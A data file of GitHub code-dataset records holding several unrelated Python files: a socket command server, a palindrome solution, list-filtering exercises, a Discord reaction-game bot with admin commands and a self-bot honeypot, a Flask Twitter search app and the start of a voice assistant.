path.append(head)\n pathString= getListStringNodes(path,'\\\\')\n initiate = 'Connected\\n\\n\\n'+pathString+'\\nEnter a command or type \\'help\\': '+pathString\n sock.send(initiate.encode())\n\n #print('SENT '+initiate)\n \n while True:\n \n command = sock.recv(1024).decode()\n #print('RECEIVED '+command)\n\n if(len(command)==0):\n break\n\n ans,path,head = commandAns(command,sock)\n print('ANSWER FOR CLIENT '+ans)\n pathString= getListStringNodes(path,'\\\\')\n ans = ans+'\\n\\n'+pathString+'\\nEnter a command or type \\'help\\': '+pathString\n \n \n sock.send(ans.encode())\n\n #print('SENT '+ans)\n\n print('Connection dropped with ',addr)\n sock.close()\n\n return\n\n#MAIN CODE STARTING HERE ----\n\n#STARTUP PROTOCOL\n\n\n\n\n\n\n\n\n\n\n\n\n\ns = socket.socket()\nport = 12357\nportCheck = True\n\nwhile portCheck:\n try:\n s.bind(('',port))\n print(\"socket binded to\",port)\n portCheck = False\n except:\n port = port +1 \n \nstart_new_thread( runBroadcastThread, (\"Thread Broadcast\",port) )\n\n\n\ns.listen(5)\nprint(\"socket is listening\") \n\ni=0\n\ndef testingConsole(tName):\n while True:\n command = input()\n if(command == 'save'):\n pickle.dump(bNameCount,open('code/fileCount.pkl', 'wb'), protocol=pickle.HIGHEST_PROTOCOL)\n pickle.dump(root, open('code/root.pkl', 'wb'), protocol=pickle.HIGHEST_PROTOCOL)\n elif(command == 'files'):\n tempList = []\n root.searchAllNodesCommand(root,tempList)\n print(tempList)\n elif(command == 'servers'):\n for i in activeServers:\n if i.active:\n x='True'\n print(i.name)\n elif(command == 'exit'):\n handler(0,0)\n\n else:\n root.getNodeByAnyName(root,command)\n \n\n\n\n\nstart_new_thread(testingConsole,('a',))\n\n\n\n\n\nwhile True:\n c,addr = s.accept()\n print('Got connection from', addr)\n typeC = c.recv(1024).decode()\n\n if(typeC==serverDict['myName']):\n print('Connected to myself')\n c.close()\n elif(typeC[0] == 'c'):\n start_new_thread( clientComm, (\"Thread-\"+str(i), 0, c,addr) )\n elif(typeC[0] == 's'):\n start_new_thread( serverComm, (\"Thread-\"+str(i), 0, c,addr,typeC) )\n else:\n print(\"INTRUDER at \"+str(addr[0]))\n c.close()\n ","repo_name":"reallyrehan/pydi","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":31607,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"71447705628","text":"#!/usr/bin/python\n\nclass Solution:\n # @param {string} s\n # @return {string}\n def longestPalindrome(self, s):\n if len(s) == 0:\n return s\n maxLen = 0\n res = ''\n for i in range(2 * len(s) - 1):\n left = i // 2\n right = i // 2\n if i % 2 == 1:\n right += 1\n string = self.lengthOfPal(s, left, right)\n if maxLen < len(string):\n maxLen = len(string)\n res = string\n return res\n\n def lengthOfPal(self, s, left, right):\n while left >= 0 and right < len(s) and s[left] == s[right]:\n left -= 1\n right += 1\n return s[left + 1: right]\n \n\ntest = Solution()\nprint(test.longestPalindrome('habbbaaba'))\n \n \n","repo_name":"chenlanlan/leetcode","sub_path":"Longest Palindromic Substring.py","file_name":"Longest Palindromic Substring.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"18732815823","text":"import timeit\nimport sys\n\ndef AddToList(x, new_list):\n if x.find('@gmail.com') != -1:\n new_list.append(x)\n\ndef Map(emails):\n new_list = []\n list(map(lambda x: AddToList(x, new_list), emails))\n return new_list\n\ndef Filter(emails):\n return list(filter(lambda x: '@gmail.com' in x, emails))\n\ndef Comprehension(emails):\n return [x for x in emails if x.find('@gmail.com') != -1]\n\ndef CommonApproach(emails):\n ret = []\n for x in emails:\n if x.find('@gmail.com') != -1:\n ret.append(x)\n return ret\n\ndef MakeLoop(n, emails):\n start_time = timeit.default_timer()\n i = 0\n while i < n:\n CommonApproach(emails)\n i += 1\n return timeit.default_timer() - start_time\n\ndef MakeComprehension(n, emails):\n i = 0\n start_time = timeit.default_timer()\n while i < n:\n Comprehension(emails)\n i += 1\n return timeit.default_timer() - start_time\n\ndef MakeMap(n, emails):\n i = 0\n start_time = timeit.default_timer()\n while i < n:\n Map(emails)\n i += 1\n return timeit.default_timer() - start_time\n\ndef MakeFilter(n, emails):\n i = 0\n start_time = timeit.default_timer()\n while i < n:\n Filter(emails)\n i += 1\n return timeit.default_timer() - start_time\n\ndef MakeCommands():\n commands = {}\n commands[\"loop\"] = MakeLoop\n commands[\"list_comprehension\"] = MakeComprehension\n commands[\"map\"] = MakeMap\n commands[\"filter\"] = MakeFilter\n return commands\n\ndef main(av):\n commands = MakeCommands()\n emails = ['john@gmail.com', 'james@gmail.com', 'alice@yahoo.com', 'anna@live.com', 'philipp@gmail.com'] * 5\n print(commands[av[0]](int(av[1]), emails))\n\n \n\ndef CheckArguments():\n av = sys.argv[1:]\n commands = MakeCommands()\n if len(av) != 2:\n print(\"Wrong argument number\")\n exit()\n if av[0] not in commands.keys():\n print(\"Wrong command\")\n exit()\n if not av[1].isdigit():\n print(\"Number of loops must be digit\")\n exit()\n\nif __name__ == '__main__':\n CheckArguments()\n main(sys.argv[1:])","repo_name":"1337hunter/42Datascience","sub_path":"Piscine/04/ex02/benchmark.py","file_name":"benchmark.py","file_ext":"py","file_size_in_byte":2097,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"23924744559","text":"menu = [\n [\"egg\", \"bacon\"],\n [\"egg\", \"sausage\", \"bacon\"],\n [\"egg\", \"spam\"],\n [\"egg\", \"bacon\", \"spam\"],\n [\"egg\", \"bacon\", \"sausage\", \"spam\"],\n [\"spam\", \"bacon\", \"sausage\", \"spam\"],\n [\"spam\", \"sausage\", \"spam\", \"bacon\", \"spam\", \"tomato\", \"spam\"],\n [\"spam\", \"egg\", \"spam\", \"spam\", \"bacon\", \"spam\"],\n]\n\n#TimSolution\nfor meal in menu:\n for index in range(len(meal)-1,-1,-1):\n if meal[index]=='spam':\n del meal[index]\n print(', '.join(meal))\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\"\"\"for meal in menu:\n for item in meal:\n if item!='spam':\n print(item,end=', ')\n print()\n\n#HimSolution\ntest=['spam','a','b','spam']\nprint(test.count('spam'))\n\n\nfor meal in menu:\n if 'spam' not in meal:\n print(meal)\n else:\n count_spam=meal.count('spam')\n for i in range(0,count_spam):\n meal.remove('spam')\n print(meal)\"\"\"","repo_name":"WichapasHim/HimSourceCode","sub_path":"Udemy/list_and_tuple/nospam.py","file_name":"nospam.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"70615976988","text":"#! /usr/bin/python\n\n\"\"\"\nTests for the 'cybertools.process' package.\n\"\"\"\n\nimport unittest, doctest\nfrom cybertools.process.definition import Process\n\nclass TestProcess(unittest.TestCase):\n \"Basic tests for the process package.\"\n\n def testBasicStuff(self):\n p = Process()\n\n\ndef test_suite():\n flags = doctest.NORMALIZE_WHITESPACE | doctest.ELLIPSIS\n return unittest.TestSuite((\n unittest.makeSuite(TestProcess),\n doctest.DocFileSuite('README.txt', optionflags=flags),\n ))\n\nif __name__ == '__main__':\n unittest.main(defaultTest='test_suite')\n","repo_name":"cyberconcepts/cybertools","sub_path":"process/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"36936185614","text":"import asyncio\nimport collections\nimport datetime\nimport itertools\nimport logging\nimport operator\nimport typing\n\nimport async_rediscache\nimport discord\nimport pydantic\nfrom discord.ext import commands\nfrom discord.ext.commands import has_any_role\n\nfrom ninja_bot.bot import NinjaBot\nfrom ninja_bot.ninja_hunt.game import (\n GameState,\n HuntingPhase,\n ReactionPhase,\n ReactionPoints,\n SleepingPhase,\n)\nfrom ninja_bot.settings import AllowDenyGroup, settings\nfrom ninja_bot.utils.checks import in_commands_channel\nfrom ninja_bot.utils.numbers import ordinal_number\n\nFALLBACK_EMOJI_ID = settings.guild.emoji_id\nNINJA_EMOJI = settings.guild.emoji_full\nCONFIRM_EMOJI_ID = settings.guild.emoji_confirm\nDENY_EMOJI_ID = settings.guild.emoji_deny\nCONFIG_ROLES = (settings.guild.admins_id, settings.guild.moderators_id)\n\nScoresDict = typing.Dict[int, ReactionPoints]\nLeaderboardEntry = collections.namedtuple(\"LeaderboardEntry\", (\"rank\", \"score\", \"tied\"))\n\nlog = logging.getLogger(\"ninja_bot.ninja_hunt\")\n\n\nclass NinjaHunt(commands.Cog):\n \"\"\"A class representing our message-ambushing Ninja.\"\"\"\n\n scoreboard = async_rediscache.RedisCache()\n config = async_rediscache.RedisCache()\n stats = async_rediscache.RedisCache()\n blocked_users = async_rediscache.RedisCache()\n\n def __init__(self, bot: NinjaBot) -> None:\n self._bot = bot\n self._auto_start = settings.game.auto_start\n self._running = False\n self._game = self._bot.loop.create_task(self.game())\n self._state = GameState.NOT_RUNNING\n self._fallback_emoji: typing.Optional[discord.Emoji] = None\n self._emoji_confirm: typing.Optional[discord.Emoji] = None\n self._emoji_deny: typing.Optional[discord.Emoji] = None\n self._summary_channel: typing.Optional[discord.TextChannel] = None\n self._admin_channel: typing.Optional[discord.TextChannel] = None\n self._honeypot = itertools.cycle(range(150))\n\n def cog_unload(self) -> None:\n \"\"\"Tear down the game by ensuring the current phase is cleaned up.\"\"\"\n self._state = GameState.NOT_RUNNING\n if not self._game.done():\n self._game.cancel()\n\n @commands.Cog.listener()\n async def on_guild_ready(self, guild: discord.Guild):\n log.info(\"The guild cache is ready!\")\n self._summary_channel = guild.get_channel(settings.guild.summary_channel)\n self._admin_channel = guild.get_channel(365960823622991872)\n self._fallback_emoji = await guild.fetch_emoji(FALLBACK_EMOJI_ID)\n self._emoji_confirm = await guild.fetch_emoji(CONFIRM_EMOJI_ID)\n self._emoji_deny = await guild.fetch_emoji(DENY_EMOJI_ID)\n\n @property\n def state(self) -> GameState:\n \"\"\"Return the current state of the Ninja game.\"\"\"\n return self._state\n\n @state.setter\n def state(self, new_state: GameState) -> None:\n \"\"\"Set a new game state.\"\"\"\n log.info(f\"the game is now entering {new_state}\")\n self._state = new_state\n\n async def game(self) -> None:\n \"\"\"Start the game and restart the loop on failure.\"\"\"\n await self._bot.wait_until_guild_ready()\n\n self._running = await self.config.get(\"running\", self._auto_start)\n\n while self._running:\n # noinspection PyBroadException\n try:\n await self._game_loop()\n except Exception:\n log.exception(\"Something went wrong!\")\n\n log.info(\"The game is stopped.\")\n\n async def _sync_set(\n self, group: AllowDenyGroup, group_name: str, set_type: str\n ) -> None:\n \"\"\"Sync this specific allowdeny set.\"\"\"\n cache_key = f\"{group_name}_{set_type}\"\n cached_set = await self.config.get(cache_key)\n\n if cached_set is not None:\n setattr(group, set_type, [int(e) for e in cached_set.split(\",\") if e])\n return\n\n config_set = getattr(group, set_type)\n await self.config.set(cache_key, \",\".join(str(e) for e in config_set))\n\n async def _sync_allowdeny(self) -> None:\n \"\"\"Sync the settings with those recorded in Redis.\"\"\"\n for group_name in (\"categories\", \"channels\"):\n group = getattr(settings.permissions, group_name)\n for set_type in (\"allow\", \"deny\"):\n await self._sync_set(group, group_name, set_type)\n\n @staticmethod\n def _undetected_appearance(channel: discord.TextChannel) -> discord.Embed:\n undetected = (\n f\"No one noticed {NINJA_EMOJI} when \" f\"it appeared in {channel.mention}.\"\n )\n embed = discord.Embed(\n title=\"Ninja Duck sneaked by undetected!\",\n description=undetected,\n colour=discord.Colour.from_rgb(45, 45, 45),\n timestamp=datetime.datetime.utcnow(),\n )\n return embed\n\n @staticmethod\n def _detected_appearance(\n scores: ScoresDict, channel: discord.TextChannel\n ) -> discord.Embed:\n pronoun, noun = (\"This\", \"member\") if len(scores) == 1 else (\"These\", \"members\")\n rewarded_users = \", \".join(f\"{u.mention} (+{p})\" for u, p in scores.values())\n\n if len(rewarded_users) >= 1800:\n rewarded_users = rewarded_users[:1800] + \"...\"\n\n description = (\n f\"Ninja Duck appeared in {channel.mention}.\\n\\n\"\n f\"{pronoun} {noun} earned points: {rewarded_users}\"\n )\n embed = discord.Embed(\n title=f\"Ninja Duck was detected by {len(scores)} {noun}!\",\n description=description,\n colour=discord.Colour.from_rgb(214, 40, 24),\n timestamp=datetime.datetime.utcnow(),\n )\n return embed\n\n async def _process_scores(self, scores: ScoresDict) -> None:\n \"\"\"Process the scores of this round by updating the score board.\"\"\"\n for member_id, score in scores.items():\n await self.scoreboard.increment(member_id, score.points)\n\n log.info(f\"Updated scores for {len(scores)} members.\")\n\n async def _send_embed(\n self,\n scores: ScoresDict,\n target_channel: discord.TextChannel,\n ) -> None:\n \"\"\"Send an embed with the results of this round.\"\"\"\n if not self._summary_channel:\n log.warning(f\"No summary channel!\")\n return\n if not scores:\n await self.stats.increment(\"undetected_ninjas\")\n embed = self._undetected_appearance(channel=target_channel)\n else:\n await self.stats.increment(\"detected_ninjas\")\n embed = self._detected_appearance(scores=scores, channel=target_channel)\n\n embed.set_thumbnail(\n url=\"https://cdn.discordapp.com/emojis/637923502535606293.png\"\n )\n await self._summary_channel.send(embed=embed)\n\n async def _filter_blocked_users(self, scores: ScoresDict) -> ScoresDict:\n \"\"\"Filter blocked users out of the scores for this round.\"\"\"\n blocked_users = await self.blocked_users.to_dict()\n return {\n user: score for user, score in scores.items() if user not in blocked_users\n }\n\n async def _process_results(\n self,\n scores: ScoresDict,\n target_channel: discord.TextChannel,\n ):\n \"\"\"Process teh results of this round!\"\"\"\n scores = await self._filter_blocked_users(scores)\n await self._process_scores(scores)\n await self._send_embed(scores, target_channel)\n\n async def _game_loop(self) -> None:\n \"\"\"Loop through the various phases of the game.\"\"\"\n self.state = GameState.SLEEPING\n async with SleepingPhase() as sleeping_phase:\n await sleeping_phase.run()\n\n if not self._running:\n return\n\n await self._sync_allowdeny()\n\n self.state = GameState.HUNTING\n async with HuntingPhase(bot=self._bot) as hunting_phase:\n target_message = await hunting_phase.run()\n\n if not self._running:\n return\n\n self.state = GameState.ACTIVE_REACTION\n async with ReactionPhase(\n bot=self._bot, message=target_message, fallback_emoji=self._fallback_emoji\n ) as reaction_phase:\n await reaction_phase.run()\n\n await self._process_results(\n scores=reaction_phase.awarded_points,\n target_channel=target_message.channel,\n )\n\n log.info(\"Finished current game loop.\")\n\n async def _get_sorted_leaderboard(self) -> typing.Dict[int, LeaderboardEntry]:\n scores = await self.scoreboard.to_dict()\n if not scores:\n return {}\n\n get_first_item = operator.itemgetter(1)\n sorted_scores = sorted(scores.items(), key=get_first_item, reverse=True)\n grouped_scores = itertools.groupby(sorted_scores, key=get_first_item)\n\n leaderboard = {}\n rank = 1\n for _, group in grouped_scores:\n group = list(group)\n for member in group:\n member_id, score = member\n tied = len(group) > 1\n leaderboard[member_id] = LeaderboardEntry(\n rank=rank, score=score, tied=tied\n )\n rank += len(group)\n return leaderboard\n\n @commands.command(\"help\")\n @in_commands_channel(staff_bypass=True)\n async def help(self, ctx: commands.Context, *_args, **_kwargs) -> None:\n \"\"\"Show custom event help.\"\"\"\n await ctx.invoke(self.ninja_group)\n\n @commands.group(\n name=\"ninja\",\n aliases=(\"ninja_hunt\", \"ninja_bot\", \"ninjahunt\", \"ninjabot\", \"n\"),\n invoke_without_command=True,\n )\n @in_commands_channel(staff_bypass=True)\n async def ninja_group(self, ctx: commands.Context) -> None:\n \"\"\"Give information about the ninja event.\"\"\"\n description = (\n \"All day, ninja duck will sneak up on our messages. Those \"\n f\"who are observant may earn points by clicking on the \"\n f\"{NINJA_EMOJI} reaction as it appears.\\n\\n\"\n \"**How it works**\\n\"\n f\"The bot will automatically react with {NINJA_EMOJI}. \"\n \"If you click that reaction before the timer runs out, \"\n \"you'll earn points. The quicker you react, the more \"\n \"points you get. \\n\\n\"\n \"*Spamming messages will not make the ninja appear sooner, \"\n \"so please be mindful of others.*\\n\\n\"\n \"**Commands**\\n\"\n \"• `$ninja score` — get your personal ninja score\\n\"\n \"• `$ninja leaderboard` — get the current top 10\\n\"\n )\n embed = discord.Embed(\n title=f\"Spot Ninja Duck!\",\n description=description,\n colour=discord.Colour.from_rgb(214, 40, 24),\n )\n embed.set_thumbnail(\n url=\"https://cdn.discordapp.com/emojis/637923502535606293.png\"\n )\n await ctx.send(embed=embed)\n\n @ninja_group.command(name=\"score\", aliases=(\"s\",))\n @in_commands_channel(staff_bypass=True)\n async def personal_score(self, ctx: commands.Context) -> None:\n \"\"\"Get your personal score from the bot.\"\"\"\n leaderboard = await self._get_sorted_leaderboard()\n entry = leaderboard.get(ctx.author.id)\n if entry is None:\n description = \"You have not scored any points yet.\"\n else:\n ordinal_rank = ordinal_number(entry.rank)\n if entry.tied:\n position = f\"You're currently tied for {ordinal_rank} place.\"\n else:\n position = f\"You're currently in {ordinal_rank} place.\"\n\n description = f\"Your score is {entry.score}. {position}\"\n\n embed = discord.Embed(\n title=f\"Your ninja duck score\",\n description=description,\n colour=discord.Colour.from_rgb(214, 40, 24),\n )\n await ctx.send(embed=embed)\n\n @ninja_group.command(name=\"leaderboard\", aliases=(\"lb\",))\n @in_commands_channel(staff_bypass=True)\n async def leaderboard(self, ctx: commands.Context) -> None:\n \"\"\"Get the current top 10.\"\"\"\n leaderboard = await self._get_sorted_leaderboard()\n top_ten = list(leaderboard.items())[:10]\n\n lines = []\n for member_id, entry in top_ten:\n rank = format(ordinal_number(entry.rank), \" >4\")\n score = format(entry.score, \" >4\")\n mention = f\"<@{member_id}>\"\n lines.append(f\"`{rank} | {score} |` {mention}\")\n\n board_formatted = \"\\n\".join(lines) if lines else \"(no entries yet)\"\n\n detected_duckies = await self.stats.get(\"detected_ninjas\", 0)\n undetected_duckies = await self.stats.get(\"undetected_ninjas\", 0)\n total_ninjas = detected_duckies + undetected_duckies\n\n stats = (\n \"**Stats**\\n\"\n f\"Detected ninjas: {detected_duckies}\\n\"\n f\"Undetected ninjas: {undetected_duckies}\\n\"\n f\"Total ninjas: {total_ninjas}\\n\"\n )\n\n description = f\"`Rank | Score |` Member\\n{board_formatted}\\n\\n{stats}\"\n\n embed = discord.Embed(\n title=\"Top 10\",\n description=description,\n colour=discord.Colour.from_rgb(214, 40, 24),\n timestamp=datetime.datetime.utcnow(),\n )\n embed.set_thumbnail(\n url=\"https://cdn.discordapp.com/emojis/637923502535606293.png\"\n )\n await ctx.send(embed=embed)\n\n @commands.group(\n name=\"admin\",\n aliases=(\"a\",),\n invoke_without_command=True,\n )\n @has_any_role(*CONFIG_ROLES)\n async def admin_group(self, ctx: commands.Context) -> None:\n \"\"\"Show an overview of the game's admin commands.\"\"\"\n description = \"\\n\".join(\n (\n \"**Moderation Commands**\",\n \"`$admin block ` — block a user and REMOVE their score\",\n \"`$admin unblock ` — unblock a user\",\n \"\",\n \"**Admin Commands**\",\n \"`$admin game [status|start|stop|clear]`\",\n \"`$admin permissions`\",\n \"`$admin permissions add `\",\n \"`$admin permissions remove `\",\n \"`$admin permissions list `\",\n )\n )\n embed = discord.Embed(\n title=\"Admin & Moderation Commands\",\n description=description,\n colour=discord.Colour.from_rgb(214, 40, 24),\n )\n embed.set_thumbnail(\n url=\"https://cdn.discordapp.com/emojis/637923502535606293.png\"\n )\n await ctx.send(embed=embed)\n\n @admin_group.command(\"block\")\n @has_any_role(*CONFIG_ROLES)\n async def block(\n self, ctx: commands.context, *, user: commands.UserConverter\n ) -> None:\n \"\"\"Block a user and remove their score.\"\"\"\n user: discord.User\n await self.blocked_users.set(user.id, \"\")\n await self.scoreboard.delete(user.id)\n await ctx.send(f\"Successfully blocked {user.mention} and removed their score.\")\n log.info(\n f\"User {user} ({user.id}) was blocked by {ctx.author} ({ctx.author.id})\"\n )\n\n @admin_group.command(\"unblock\")\n @has_any_role(*CONFIG_ROLES)\n async def unblock(\n self, ctx: commands.context, *, user: commands.UserConverter\n ) -> None:\n \"\"\"Unblock a user.\"\"\"\n user: discord.User\n await self.blocked_users.delete(user.id)\n await ctx.send(f\"Successfully unblocked {user.mention}.\")\n log.info(\n f\"User {user} ({user.id}) was unblocked by {ctx.author} ({ctx.author.id})\"\n )\n\n @admin_group.command(\"blocked\")\n @has_any_role(*CONFIG_ROLES)\n async def blocked(self, ctx: commands.context) -> None:\n \"\"\"Unblock a user.\"\"\"\n user: discord.User\n blocked_users = await self.blocked_users.to_dict()\n formatted_users = \", \".join(f\"<@{u}>\" for u in blocked_users)\n formatted_users = formatted_users or \"(no blocked users)\"\n await ctx.send(f\"Currently blocked users: {formatted_users}\")\n\n @admin_group.group(\n \"game\",\n invoke_without_command=True,\n )\n @has_any_role(settings.guild.admins_id)\n async def game_group(self, ctx: commands.context) -> None:\n \"\"\"Unblock a user.\"\"\"\n await ctx.invoke(self.game_status)\n\n @game_group.command(\"status\")\n @has_any_role(settings.guild.admins_id)\n async def game_status(self, ctx: commands.context) -> None:\n \"\"\"Unblock a user.\"\"\"\n is_running = self._running and not self._game.done()\n qualifier = \"\" if is_running else \"NOT \"\n await ctx.send(f\"The game is currently {qualifier}running.\")\n\n @game_group.command(\"stop\")\n @has_any_role(settings.guild.admins_id)\n async def game_stop(self, ctx: commands.context) -> None:\n \"\"\"Unblock a user.\"\"\"\n if not self._running and self._game.done():\n await ctx.send(\"The game is not running.\")\n return\n\n self._running = False\n self._game.cancel()\n await self.config.set(\"running\", False)\n self._state = GameState.NOT_RUNNING\n await ctx.send(\"Stopped the game.\")\n\n @game_group.command(\"start\")\n @has_any_role(settings.guild.admins_id)\n async def game_start(self, ctx: commands.context) -> None:\n \"\"\"Unblock a user.\"\"\"\n if self._running and not self._game.done():\n await ctx.send(\"The game is already running.\")\n return\n\n self._running = True\n self._game = asyncio.create_task(self.game())\n await self.config.set(\"running\", True)\n await ctx.send(\"Started the game.\")\n\n async def _add_confirm_interface(self, msg: discord.Message) -> None:\n await msg.add_reaction(self._emoji_confirm)\n await msg.add_reaction(self._emoji_deny)\n\n @game_group.command(\"clear\")\n @has_any_role(settings.guild.admins_id)\n async def game_clear(self, ctx: commands.context) -> None:\n \"\"\"Clear the current scoreboard.\"\"\"\n msg: discord.Message = await ctx.send(\n \"THIS WILL IRREVOCABLY CLEAR THE LEADERBOARD. ARE YOU SURE?\"\n )\n\n asyncio.create_task(self._add_confirm_interface(msg))\n\n def check(r, u):\n check_user = u == ctx.author\n check_emoji = r.custom_emoji and r.emoji.id in (\n self._emoji_confirm.id,\n self._emoji_deny.id,\n )\n check_message = r.message.id == msg.id\n return check_user and check_emoji and check_message\n\n try:\n reaction, _ = await self._bot.wait_for(\n \"reaction_add\", timeout=20.0, check=check\n )\n except asyncio.TimeoutError:\n await msg.clear_reactions()\n await ctx.send(\"Timed out. Please try again.\")\n return\n\n if reaction.emoji == self._emoji_deny:\n await ctx.send(\"Scoreboard NOT cleared.\")\n elif reaction.emoji == self._emoji_confirm:\n await self.scoreboard.clear()\n await ctx.send(\"Scoreboard cleared.\")\n log.info(f\"The leaderboard was cleared by {ctx.author} ({ctx.author.id})\")\n else:\n await ctx.send(\"Wait, what? How did you do that?\")\n\n @admin_group.group(\n \"permissions\",\n aliases=(\"perms\", \"perm\", \"p\"),\n invoke_without_command=True,\n )\n @has_any_role(settings.guild.admins_id)\n async def permissions_group(self, ctx: commands.Context) -> None:\n \"\"\"List the permissions options.\"\"\"\n description = (\n \"Usage:\\n`$admin permissions [list|add|delete] `\\n\\n\"\n \"The following lists are available:\\n\"\n \"• `categories_allow`\\n\"\n \"• `categories_deny`\\n\"\n \"• `channels_allow`\\n\"\n \"• `channels_deny`\\n\\n\"\n \"**Note:** Only raw IDs are supported, without validation!\"\n )\n\n embed = discord.Embed(\n title=\"Admin — Permissions Management\",\n description=description,\n colour=discord.Colour.from_rgb(214, 40, 24),\n timestamp=datetime.datetime.utcnow(),\n )\n\n await ctx.send(embed=embed)\n\n @staticmethod\n async def _valid_add_remove_params(\n ctx: commands.context, list_type: str, snowflake: str\n ) -> bool:\n if list_type not in (\n \"categories_allow\",\n \"categories_deny\",\n \"channels_allow\",\n \"channels_deny\",\n ):\n await ctx.send(f\"Invalid list type: {list_type!r}\")\n return False\n\n try:\n int(snowflake)\n except ValueError:\n await ctx.send(f\"Invalid snowflake id: {snowflake!r}\")\n return False\n\n return True\n\n @permissions_group.command(\"add\")\n @has_any_role(settings.guild.admins_id)\n async def add_permission(\n self, ctx: commands.context, list_type: str, snowflake: str\n ) -> None:\n \"\"\"Add a permission to the specified list_type.\"\"\"\n if not await self._valid_add_remove_params(ctx, list_type, snowflake):\n await ctx.invoke(self.permissions_group)\n return\n\n await self._sync_allowdeny()\n cached_permissions = await self.config.get(list_type)\n new_permissions = f\"{cached_permissions},{snowflake}\"\n await self.config.set(list_type, new_permissions)\n await self._sync_allowdeny()\n await ctx.send(f\"Added {snowflake} to {list_type}\")\n\n @permissions_group.command(\"remove\")\n @has_any_role(settings.guild.admins_id)\n async def remove_permission(\n self, ctx: commands.context, list_type: str, snowflake: str\n ) -> None:\n \"\"\"Remove a permission to the specified list_type.\"\"\"\n if not self._valid_add_remove_params(ctx, list_type, snowflake):\n await ctx.invoke(self.permissions_group)\n return\n\n await self._sync_allowdeny()\n cached_permissions = await self.config.get(list_type)\n new_permissions = [\n e for e in cached_permissions.split(\",\") if e and e != snowflake\n ]\n await self.config.set(list_type, \",\".join(new_permissions))\n await self._sync_allowdeny()\n await ctx.send(f\"Removed {snowflake} from {list_type}\")\n\n @permissions_group.command(\"list\")\n @has_any_role(settings.guild.admins_id)\n async def remove_permission(self, ctx: commands.context, list_type: str) -> None:\n \"\"\"Remove a permission to the specified list_type.\"\"\"\n if not self._valid_add_remove_params(ctx, list_type, \"1\"):\n await ctx.invoke(self.permissions_group)\n return\n\n await self._sync_allowdeny()\n cached_permissions = await self.config.get(list_type)\n await ctx.send(f\"Current {list_type}: {cached_permissions}\")\n\n @admin_group.command(\"config\")\n @has_any_role(settings.guild.admins_id)\n async def change_config(self, ctx: commands.context, key: str, value: str) -> None:\n \"\"\"Remove a permission to the specified list_type.\"\"\"\n *path, attribute = key.split(\".\")\n\n # Validate the settings path by walking it\n cls = settings\n for cls_name in path:\n try:\n cls = getattr(settings, cls_name)\n except AttributeError:\n await ctx.send(f\"unknown settings path: `{key}`\")\n return\n\n # Settings a value may fail if it's:\n # - the wrong type\n # - the config class is marked as pseudo-immutable\n # pydantic will do the heavy lifting, we just have to\n # handle the exceptions it throws.\n try:\n setattr(cls, attribute, value)\n except pydantic.error_wrappers.ValidationError:\n await ctx.send(f\"`{value}` is not a valid value for `{key}`\")\n except TypeError as exc:\n await ctx.send(f\"error: {exc}\")\n else:\n await ctx.send(f\"set `{key}={value}`\")\n\n async def _add_reaction(self, message: discord.Message) -> None:\n \"\"\"Add a honeypot reaction.\"\"\"\n try:\n await message.add_reaction(self._fallback_emoji)\n except discord.DiscordException:\n log.info(\"Honeypot reaction failed!\")\n else:\n log.info(\"Added honeypot reaction!\")\n\n @commands.Cog.listener()\n async def on_message(self, message: discord.Message) -> None:\n \"\"\"Place a honeypot to detect self-botters.\"\"\"\n if message.channel.id != 267624335836053506:\n return\n\n if not next(self._honeypot) == 0:\n return\n\n log.info(f\"Placing honeypot on message {message.id} in 30 minutes.\")\n await asyncio.sleep(1800)\n\n asyncio.create_task(self._add_reaction(message))\n\n def check(r, u):\n not_bot = not u.bot\n check_emoji = r.custom_emoji and r.emoji.id == self._fallback_emoji.id\n check_message = r.message.id == message.id\n return not_bot and check_emoji and check_message\n\n try:\n _reaction, user = await self._bot.wait_for(\n \"reaction_add\", timeout=20.0, check=check\n )\n except asyncio.TimeoutError:\n log.info(\"No one reacted to the honeypot\")\n else:\n log.info(f\"User {user} ({user.id}) reacted to the honeypot.\")\n await self._admin_channel.send(\n f\"User {user} ({user.id}) reacted to a honeypot ninja!\"\n )\n","repo_name":"SebastiaanZ/ninjabot","sub_path":"ninja_bot/ninja_hunt/cog.py","file_name":"cog.py","file_ext":"py","file_size_in_byte":25414,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"23710609621","text":"from flask import Flask, render_template, request\nimport tweepy\nimport os\nfrom dotenv import load_dotenv\nimport pandas as pd\n#activamos el entorno para poder conectar el jupyter y extraer las variables\nload_dotenv()\n\n\napp = Flask(__name__)\n\n\nAPI_KEY = os.getenv(\"API_KEY\")\nAPI_SECRET = os.getenv(\"API_SECRET\")\nACCESS_TOKEN = os.getenv(\"ACCESS_TOKEN\")\nACCESS_TOKEN_SECRET = os.getenv(\"ACCESS_TOKEN_SECRET\")\n\n\n@app.route('/')\ndef index():\n auth = tweepy.OAuthHandler(API_KEY, API_SECRET) #Esta es la forma de autenticarnos mediante tweepy\n auth.set_access_token(ACCESS_TOKEN, ACCESS_TOKEN_SECRET) \n api = tweepy.API(auth, wait_on_rate_limit=True)\n search = request.args.get('q')\n\n public_tweet = api.search(search, count=100, lang=\"en\", exclude='retweets')\n \n return render_template('home.html', tweets=public_tweet)\n\n\nif __name__=='__main__':\n\tapp.run(debug=True)\n\n","repo_name":"Carmen-r/API-TWITTER","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"39222728655","text":"import pyttsx3\nimport speech_recognition as sr\nimport pyaudio\nimport datetime\nimport webbrowser\nimport pyjokes\nimport randfacts\nimport os\nimport psutil\nimport wikipedia\nimport pyautogui\nimport requests\nimport json\nimport weathercom\nfrom wikisel import *\nfrom selyt import *\n\nengine = pyttsx3.init('sapi5')\nvoices = 